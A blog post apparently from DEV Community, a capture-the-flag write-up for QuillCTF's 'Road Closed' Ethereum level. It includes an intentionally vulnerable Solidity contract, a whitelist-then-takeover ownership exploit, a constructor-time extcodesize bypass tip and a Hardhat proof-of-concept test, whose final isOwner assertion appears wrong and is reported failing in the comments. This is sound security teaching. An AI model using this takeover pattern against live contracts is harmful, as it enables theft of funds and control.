DEV Community

Erhan Tezcan
Erhan Tezcan

Posted on • Updated on

QuillCTF: 1. Road Closed

QuillCTF is a game in which you hack Ethereum smart contracts to learn about security. It's meant to be both fun and educational. The game is designed to educate players on identifying and fixing security issues in Ethereum smart contracts. Start solving here!

Objective of CTF:

  • Become the owner of the contract.
  • Change the value of hacked to true.

Target contract:

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;

contract RoadClosed {
  bool hacked;
  address owner;
  address pwner;
  mapping(address => bool) whitelistedMinters;

  function isContract(address addr) public view returns (bool) {
    uint size;
    assembly {
      size := extcodesize(addr)
    }
    return size > 0;
  }

  function isOwner() public view returns (bool) {
    if (msg.sender == owner) {
      return true;
    } else return false;
  }

  constructor() {
    owner = msg.sender;
  }

  function addToWhitelist(address addr) public {
    require(!isContract(addr), "Contracts are not allowed");
    whitelistedMinters[addr] = true;
  }

  function changeOwner(address addr) public {
    require(whitelistedMinters[addr], "You are not whitelisted");
    require(msg.sender == addr, "address must be msg.sender");
    require(addr != address(0), "Zero address");
    owner = addr;
  }

  function pwn(address addr) external payable {
    require(!isContract(msg.sender), "Contracts are not allowed");
    require(msg.sender == addr, "address must be msg.sender");
    require(msg.sender == owner, "Must be owner");
    hacked = true;
  }

  function pwn() external payable {
    require(msg.sender == pwner);
    hacked = true;
  }

  function isHacked() public view returns (bool) {
    return hacked;
  }
}
Enter fullscreen mode Exit fullscreen mode

The Attack

We can immediately see that non-contract accounts can whitelist themselves via the addToWhitelist function. A whitelisted account can become the owner simply by calling the changeOwner function. Once an account becomes the owner, all that is left to do is call the pwn function, and the contract will have hacked = true. In short:

  1. addToWhitelist(yourAddress)
  2. changeOwner(yourAddress)
  3. pwn(yourAddress)

As an extra note, you can do this hack with a contract if you execute everything within the constructor, because extcodesize of a contract at it's constructor phase will return 0.

Proof of Concept

The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.

describe('QuillCTF 1: Road Closed', () => {
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  let contract: RoadClosed;

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    contract = await ethers.getContractFactory('RoadClosed', owner).then(f => f.deploy());
    await contract.deployed();
  });

  it('should hijack ownership', async () => {
    expect(await contract.isOwner()).to.be.true;

    // whitelist yourself
    await contract.connect(attacker).addToWhitelist(attacker.address);

    // change owner
    await contract.connect(attacker).changeOwner(attacker.address);

    // pwn
    await contract.connect(attacker)['pwn(address)'](attacker.address);
  });

  after(async () => {
    // contract should be hacked & you should be the owner
    expect(await contract.isHacked()).to.be.true;
    expect(await contract.isOwner()).to.be.true;
  });
});
Enter fullscreen mode Exit fullscreen mode

Top comments (2)

Collapse
 
ashhunter319 profile image
ashHunter319

after(async () => {
// contract should be hacked & you should be the owner
expect(await contract.isHacked()).to.be.true;
expect(await contract.isOwner()).to.be.true;
});

could you please explain this as while doing npx hardhat hat this test gets fail
please help i am a beginer
thank you

Collapse
 
erhant profile image
Erhan Tezcan

Hi, the after parts in the test check if your hack was done correctly. If this part fails, that means you hack didn't work.

You should also see the expected vs. actual result in your console on the line that fails, for example isHacker is probably false but we expected it to be true.